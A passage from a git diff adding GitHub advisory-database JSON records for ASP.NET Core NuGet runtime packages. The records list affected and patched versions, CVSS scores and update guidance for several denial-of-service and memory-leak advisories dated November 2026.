10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0-preview.1.25120.3"},{"fixed":"10.0.15"}]}],"versions":["10.0.0","10.0.1","10.0.10","10.0.11","10.0.12","10.0.13","10.0.14","10.0.2","10.0.3","10.0.4","10.0.5","10.0.6","10.0.7","10.0.8","10.0.9"],"database_specific":{"last_known_affected_version_range":"<= 10.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"11.0.0-preview.1.26104.118"},{"fixed":"11.0.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 11.0.0-rc.3.26522.148","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wr8v-9x5q-ggcm/GHSA-wr8v-9x5q-ggcm.json"}}],"references":[{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/security/advisories/GHSA-wr8v-9x5q-ggcm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114147"},{"type":"WEB","url":"https://github.com/dotnet/announcements/issues/509"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/commit/cc53379f74963c4509ddfa91845132146d7054aa"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/commit/d94f9c231ee7e047c5c3c4cfdabe862274938faf"},{"type":"PACKAGE","url":"https://github.com/dotnet/aspnetcore"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/discussions/70469"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v10.0.15"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v11.0.0"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v8.0.34"},{"type":"WEB","url":"https://github.com/dotnet/aspnetcore/releases/tag/v9.0.23"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/10.0/10.0.15/10.0.15.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/8.0/8.0.34/8.0.34.md"},{"type":"WEB","url":"https://github.com/dotnet/core/blob/main/release-notes/9.0/9.0.23/9.0.23.md"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114147"}],"database_specific":{"cwe_ids":["CWE-401"],"github_reviewed":true,"github_reviewed_at":"2026-11-11T00:23:32Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-wrm2-c2h2-4w82.json b/data/NuGet/GHSA-wrm2-c2h2-4w82.json
new file mode 100644
index 0000000000..143b6b9efd
--- /dev/null
+++ b/data/NuGet/GHSA-wrm2-c2h2-4w82.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-wrm2-c2h2-4w82","published":"2026-11-10T21:32:29Z","modified":"2026-11-11T00:30:04.347303079Z","withdrawn":"2026-11-11T00:21:09Z","summary":"Duplicate Advisory: Microsoft Security Advisory CVE-2026-109478 - ASP.NET Core Denial of Service Vulnerability","details":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-r3qf-p3jm-8h4p. This link is maintained to preserve external references.\n\n## Original Description\nInefficient algorithmic complexity in ASP.NET Core allows an unauthorized attacker to deny service over a network.","affected":[{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"last_affected":"8.0.33"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wrm2-c2h2-4w82/GHSA-wrm2-c2h2-4w82.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109478"},{"type":"WEB","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-109478"}],"database_specific":{"cwe_ids":["CWE-407"],"github_reviewed":true,"github_reviewed_at":"2026-11-11T00:21:09Z","nvd_published_at":"2026-11-10T19:18:17Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}
\ No newline at end of file
diff --git a/data/NuGet/GHSA-x33c-w48q-qrgc.json b/data/NuGet/GHSA-x33c-w48q-qrgc.json
new file mode 100644
index 0000000000..2d8bcbeffd
--- /dev/null
+++ b/data/NuGet/GHSA-x33c-w48q-qrgc.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-x33c-w48q-qrgc","published":"2026-11-10T23:06:32Z","modified":"2026-11-10T23:15:18.341686605Z","aliases":["CVE-2026-114149"],"summary":"Microsoft Security Advisory CVE-2026-114149 - ASP.NET Core Denial of Service Vulnerability","details":"## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in ASP.NET Core. This advisory provides guidance on updating affected applications and components.\n\nMultipart form processing can bypass the configured header-count limit and consume excessive resources.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/511\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 7.5 (base score)\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C`\n- **Weakness:** CWE-770\n\n## Affected Platforms\n\n- **Platforms:** Windows, Linux, macOS\n- **Architectures:** All\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe tables list affected version ranges and fixed package versions. Runtime and standalone deliveries are listed separately.\n\n### .NET 8.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n\n### .NET 9.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n\n### .NET 10.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n\n### .NET 11.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n### Standalone WebUtilities delivery\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.WebUtilities](https://www.nuget.org/packages/Microsoft.AspNetCore.WebUtilities) | >= 8.0.0-preview.5.23302.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.WebUtilities](https://www.nuget.org/packages/Microsoft.AspNetCore.WebUtilities) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.WebUtilities](https://www.nuget.org/packages/Microsoft.AspNetCore.WebUtilities) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.WebUtilities](https://www.nuget.org/packages/Microsoft.AspNetCore.WebUtilities) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nCheck the deployed runtime and application package versions against the affected ranges above. Self-contained applications include their own runtime; updating a machine-wide runtime does not replace it.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nInstall the applicable runtime or update each independently referenced package to the fixed version above. After updating standalone packages, rebuild and redeploy affected applications, including framework-dependent applications; restarting alone does not replace app-local packages. Restart applications. Rebuild and redeploy self-contained applications; updating a machine-wide runtime does not replace their embedded runtime. An SDK update alone does not update an application's standalone package references.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this 